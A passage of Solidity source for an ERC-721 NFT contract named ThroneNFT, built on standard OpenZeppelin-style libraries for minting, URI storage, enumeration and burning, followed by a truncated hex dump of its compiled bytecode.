* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Interface of extension of the ERC721 standard to allow `tokenAuthor` method.
*/
interface IERC721TokenAuthor {
/**
* @dev Returns the amount of tokens in existence.
*/
function tokenAuthor(uint256 tokenId) external view returns(address);
}
library Errors {
string public constant INVALID_AUCTION_PARAMS = 'INVALID_AUCTION_PARAMS';
string public constant INVALID_ETHER_AMOUNT = 'INVALID_ETHER_AMOUNT';
string public constant AUCTION_EXISTS = 'AUCTION_EXISTS';
string public constant AUCTION_NOT_FINISHED = 'AUCTION_NOT_FINISHED';
string public constant AUCTION_FINISHED = 'AUCTION_FINISHED';
string public constant SMALL_BID_AMOUNT = 'SMALL_BID_AMOUNT';
string public constant PAUSED = 'PAUSED';
string public constant NO_RIGHTS = 'NO_RIGHTS';
string public constant NOT_ADMIN = 'NOT_ADMIN';
string public constant NOT_OWNER = 'NOT_OWNER';
string public constant NOT_EXISTS = 'NOT_EXISTS';
string public constant EMPTY_WINNER = 'EMPTY_WINNER';
string public constant AUCTION_ALREADY_STARTED = 'AUCTION_ALREADY_STARTED';
string public constant AUCTION_NOT_EXISTS = 'AUCTION_NOT_EXISTS';
string public constant ZERO_ADDRESS = 'ZERO_ADDRESS';
string public constant CANT_BID_TOKEN_AUCTION_BY_ETHER = 'CANT_BID_TOKEN_AUCTION_BY_ETHER';
string public constant CANT_BID_ETHER_AUCTION_BY_TOKENS = 'CANT_BID_ETHER_AUCTION_BY_TOKENS';
string public constant EMPTY_METADATA = 'EMPTY_METADATA';
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata URI extension.
*/
contract ThroneNFT is ERC721, ERC721Enumerable, ERC721URIStorage, IERC721TokenAuthor {
uint256 public nextTokenId = 0;
mapping (uint256 => address) private _tokenAuthor;
constructor() ERC721("ThroneNFT", "THNNFT") {}
function _baseURI() override(ERC721) internal pure returns(string memory) {
return "ipfs://";
}
function mintWithTokenURI(string memory _tokenIPFSHash) public returns (uint256) {
require(bytes(_tokenIPFSHash).length > 0, Errors.EMPTY_METADATA);
uint256 tokenId = nextTokenId++;
address to = _msgSender();
_mint(to, tokenId);
_tokenAuthor[tokenId] = to;
_setTokenURI(tokenId, _tokenIPFSHash);
return tokenId;
}
function burn(uint256 tokenId) public {
require(ERC721.ownerOf(tokenId) == msg.sender, "NOT_OWNER");
_burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId); // take care about multiple inheritance
delete _tokenAuthor[tokenId];
}
function tokenAuthor(uint256 tokenId) external override view returns(address) {
require(_exists(tokenId), "query for nonexistent token");
return _tokenAuthor[tokenId];
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
ERC721Enumerable._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return interfaceId == type(IERC721TokenAuthor).interfaceId
|| super.supportsInterface(interfaceId);
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636352211e116100ad578063a22cb46511610071578063a22cb46514610269578063b88d4fde1461027c578063c87b56dd1461028f578063e985e9c5146102a2578063f1e9ff9f146102de57600080fd5b80636352211e1461021f57806370a082311461023257806375794a3c1461024557806387371f4d1461024e57806395d89b411461026157600080fd5b806323b872dd116100f457806323b872dd146101c05780632f745c59146101d357806342842e0e146101e657806342966c68146101f95780634f6ccce71461020c57600080fd5b806301ffc9a71461013157806306fdde0314610159578063081812fc1461016e578063095ea7b31461019957806318160ddd146101ae575b600080fd5b61014461013f366004611a7c565b6102f1565b60405190151581526020015b60405180910390f35b61016161031c565b6040516101509190611bb0565b61018161017c366004611aff565b6103ae565b6040516001600160a01b039091168152602001610150565b6101ac6101a7366004611a52565b61043b565b005b6008545b604051908152602001610150565b6101ac6101ce36600461195e565b610551565b6101b26101e1366004611a52565b610582565b6101ac6101f436600461195e565b610618565b6101ac610207366004611aff565b610633565b6101b261021a366004611aff565b61068b565b61018161022d366004611aff565b61071e565b6101b2610240366004611910565b610795565b6101b2600b5481565b6101b261025c366004611ab6565b61081c565b6101616108c2565b6101ac610277366004611a16565b6108d1565b6101ac61028a36600461199a565b610996565b61016161029d366004611aff565b6109ce565b6101446102b036600461192b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6101816102ec366004611aff565b6109d9565b60006001600160e01b0319821663f1e9ff9f60e01b1480610316575061031682610a4c565b92915050565b60606000805461032b90611cd5565b80601f016020809104026020016040519081016040528092919081815260200182805461035790611cd5565b80156103a45780601f10610379576101008083540402835291602001916103a4565b820191906000526020600020905b81548152906001019060200180831161038757829003601f168201915b5050505050905090565b60006103b982610a71565b61041f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006104468261071e565b9050806001600160a01b0316836001600160a01b031614156104b45760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610416565b336001600160a01b03821614806104d057506104d081336102b0565b6105425760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610416565b61054c8383610a8e565b505050565b61055b3382610afc565b6105775760405162461bcd60e51b815260040161041690611c15565b61054c838383610be6565b600061058d83610795565b82106105ef5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610416565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61054c83838360405180602001604052806000815250610996565b3361063d8261071e565b6001600160a01b03161461067f5760405162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b6044820152606401610416565b61068881610d91565b50565b600061069660085490565b82106106f95760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610416565b6008828154811061070c5761070c611d81565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806103165760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610416565b60006001600160a01b0382166108005760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610416565b506001600160a01b031660009081526003602052604090205490565b6000808251116040518060400160405280600e81526020016d454d5054595f4d4554414441544160901b815250906108675760405162461bcd60e51b81526004016104169190611bb0565b50600b80546000918261087983611d10565b9091555090503361088a8183610db8565b6000828152600c6020526040902080546001600160a01b0319166001600160a01b0383161790556108bb8285610ef7565b5092915050565b60606001805461032b90611cd5565b6001600160a01b